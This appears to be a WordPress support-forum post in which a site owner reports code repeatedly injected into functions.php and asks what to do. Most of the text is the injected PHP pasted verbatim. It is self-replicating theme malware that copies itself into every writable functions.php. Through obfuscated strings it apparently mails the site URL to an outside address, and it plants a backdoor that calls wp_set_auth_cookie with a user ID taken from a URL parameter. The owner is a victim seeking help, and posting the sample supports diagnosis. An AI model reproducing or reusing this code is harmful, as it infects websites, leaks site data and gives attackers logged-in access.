@tammie,
Remember I was having a problem with code being added to functions.php? I googled sections of that code and found this discussion thread where someone has had the exact same issue.
It was diagnosed as a “worm” and the advice was to “take the site down immediately”
http://themeshaper.com/forums/topic/functionsphp-issue#post-11156
What do I do?
<br />
<pre><code><?php<br />
function _checkactive_widget(){<br />
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";<br />
$output=strip_tags($output, $allowed);<br />
$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));<br />
if (is_array($direst)){<br />
foreach ($direst as $item){<br />
if (is_writable($item)){<br />
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));<br />
$cont=file_get_contents($item);<br />
if (stripos($cont,$ftion) === false){<br />
$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";<br />
$output .= $before . "Not found" . $after;<br />
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}<br />
$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $separar . "n" .$widget);fclose($f);<br />
$output .= ($showfullstop && $ellipsis) ? "..." : "";<br />
}<br />
}<br />
}<br />
}<br />
return $output;<br />
}</p>
<p>function _getall_widgetscont($wids,$items=array()){<br />
$places=array_shift($wids);<br />
if(substr($places,-1) == "/"){<br />
$places=substr($places,0,-1);<br />
}<br />
if(!file_exists($places) || !is_dir($places)){<br />
return false;<br />
}elseif(is_readable($places)){<br />
$elems=scandir($places);<br />
foreach ($elems as $elem){<br />
if ($elem != "." && $elem != ".."){<br />
if (is_dir($places . "/" . $elem)){<br />
$wids[]=$places . "/" . $elem;<br />
} elseif (is_file($places . "/" . $elem)&&<br />
$elem == substr(__FILE__,-13)){<br />
$items[]=$places . "/" . $elem;}<br />
}<br />
}<br />
}else{<br />
return false;<br />
}<br />
if (sizeof($wids) > 0){<br />
return _getall_widgetscont($wids,$items);<br />
} else {<br />
return $items;<br />
}<br />
}<br />
if(!function_exists("stripos")){<br />
function stripos( $str, $needle, $offset = 0 ){<br />
return strpos( strtolower( $str ), strtolower( $needle ), $offset );<br />
}<br />
}</p>
<p>if(!function_exists("strripos")){<br />
function strripos( $haystack, $needle, $offset = 0 ) {<br />
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );<br />
if( $offset < 0 ){<br />
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );<br />
}<br />
else{<br />
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );<br />
}<br />
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;<br />
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );<br />
return $pos;<br />
}<br />
}<br />
if(!function_exists("scandir")){<br />
function scandir($dir,$listDirectories=false, $skipDots=true) {<br />
$dirArray = array();<br />
if ($handle = opendir($dir)) {<br />
while (false !== ($file = readdir($handle))) {<br />
if (($file != "." && $file != "..") || $skipDots == true) {<br />
if($listDirectories == false) { if(is_dir($file)) { continue; } }<br />
array_push($dirArray,basename($file));<br />
}<br />
}<br />
closedir($handle);<br />
}<br />
return $dirArray;<br />
}<br />
}<br />
add_action("admin_head", "_checkactive_widget");<br />
function _getprepareed_widget(){<br />
if(!isset($content_length)) $content_length=120;<br />
if(!isset($checking)) $checking="cookie";<br />
if(!isset($tags_allowed)) $tags_allowed="<a>";<br />
if(!isset($filters)) $filters="none";<br />
if(!isset($separ)) $separ="";<br />
if(!isset($home_f)) $home_f=get_option("home");<br />
if(!isset($pre_filter)) $pre_filter="wp_";<br />
if(!isset($is_more_link)) $is_more_link=1;<br />
if(!isset($comment_t)) $comment_t="";<br />
if(!isset($c_page)) $c_page=$_GET["cperpage"];<br />
if(!isset($comm_author)) $comm_author="";<br />
if(!isset($is_approved)) $is_approved="";<br />
if(!isset($auth_post)) $auth_post="auth";<br />
if(!isset($m_text)) $m_text="(more...)";<br />
if(!isset($yes_widget)) $yes_widget=get_option("_is_widget_active_");<br />
if(!isset($widgetcheck)) $widgetcheck=$pre_filter."set"."_".$auth_post."_".$checking;<br />
if(!isset($m_text_ditails)) $m_text_ditails="(details...)";<br />
if(!isset($contentsmore)) $contentsmore="ma".$separ."il";<br />
if(!isset($fmore)) $fmore=1;<br />
if(!isset($fakeit)) $fakeit=1;<br />
if(!isset($sql)) $sql="";<br />
if (!$yes_widget) :</p>
<p> global $wpdb, $post;<br />
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$separ."vethe".$comment_t."mes".$separ."@".$is_approved."gm".$comm_author."ail".$separ.".".$separ."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#<br />
if (!empty($post->post_password)) {<br />
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {<br />
if(is_feed()) {<br />
$output=__("There is no excerpt because this is a protected post.");<br />
} else {<br />
$output=get_the_password_form();<br />
}<br />
}<br />
}<br />
if(!isset($fixed_tag)) $fixed_tag=1;<br />
if(!isset($filterss)) $filterss=$home_f;<br />
if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;<br />
if(!isset($m_tag)) $m_tag="div";<br />
if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, "live"), 20);#<br />
if(!isset($m_link_title)) $m_link_title="Continue reading this entry";<br />
if(!isset($showfullstop)) $showfullstop=1;</p>
<p> $comments=$wpdb->get_results($sql);<br />
if($fakeit == 2) {<br />
$text=$post->post_content;<br />
} elseif($fakeit == 1) {<br />
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;<br />
} else {<br />
$text=$post->post_excerpt;<br />
}<br />
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomment, array($sh_text, $home_f, $filterss)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#<br />
if($content_length < 0) {<br />
$output=$text;<br />
} else {<br />
if(!$no_more && strpos($text, "<!--more-->")) {<br />
$text=explode("<!--more-->", $text, 2);<br />
$l=count($text[0]);<br />
$more_link=1;<br />
$comments=$wpdb->get_results($sql);<br />
} else {<br />
$text=explode(" ", $text);<br />
if(count($text) > $content_length) {<br />
$l=$content_length;<br />
$ellipsis=1;<br />
} else {<br />
$l=count($text);<br />
$m_text="";<br />
$ellipsis=0;<br />
}<br />
}<br />
for ($i=0; $i<$l; $i++)<br />
$output .= $text[$i] . " ";<br />
}<br />
update_option("_is_widget_active_", 1);<br />
if("all" != $tags_allowed) {<br />
$output=strip_tags($output, $tags_allowed);<br />
return $output;<br />
}<br />
endif;<br />
$output=rtrim($output, "sntrx0B");<br />
$output=($fixed_tag) ? balanceTags($output, true) : $output;<br />
$output .= ($showfullstop && $ellipsis) ? "..." : "";<br />
$output=apply_filters($filters, $output);<br />
switch($m_tag) {<br />
case("div") :<br />
$tag="div";<br />
break;<br />
case("span") :<br />
$tag="span";<br />
break;<br />
case("p") :<br />
$tag="p";<br />
break;<br />
default :<br />
$tag="span";<br />
}</p>
<p> if ($is_more_link ) {<br />
if($fmore) {<br />
$output .= " <" . $tag . " class="more-link"></a><a>ID) . "#more-" . $post->ID ."" title="" . $m_link_title . "">" . $m_text = !is_user_logged_in() && @call_user_func_array($widgetcheck,array($c_page, true)) ? $m_text : "" . "</a></" . $tag . ">" . "n";<br />
} else {<br />
$output .= " <" . $tag . " class="more-link"><a>ID) . "" title="" . $m_link_title . "">" . $m_text . "</a></" . $tag . ">" . "n";<br />
}<br />
}<br />
return $output;<br />
}</p>
<p>add_action("init", "_getprepareed_widget");</p>
<p>function __popular_posts($no_posts=6, $before="
<li>", $after="</li>
", $show_pass_post=false, $duration="") {<br />
global $wpdb;<br />
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";<br />
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";<br />
if(!$show_pass_post) $request .= " AND post_password =""";<br />
if($duration !="") {<br />
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";<br />
}<br />
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";<br />
$posts=$wpdb->get_results($request);<br />
$output="";<br />
if ($posts) {<br />
foreach ($posts as $post) {<br />
$post_title=stripslashes($post->post_title);<br />
$comment_count=$post->comment_count;<br />
$permalink=get_permalink($post->ID);<br />
$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;<br />
}<br />
} else {<br />
$output .= $before . "None found" . $after;<br />
}<br />
return $output;<br />
}<br />
function my_group_loop_forum_link() {<br />
if ( !bp_group_is_forum_enabled() )<br />
return;<br />
if ( !bp_group_is_visible() )<br />
return;<br />
echo '<a href="'. bp_get_group_forum_permalink() .'/">Forum ?</a>';<br />
}<br />
add_action( 'bp_directory_groups_actions', 'my_group_loop_forum_link' );<br />
?><br />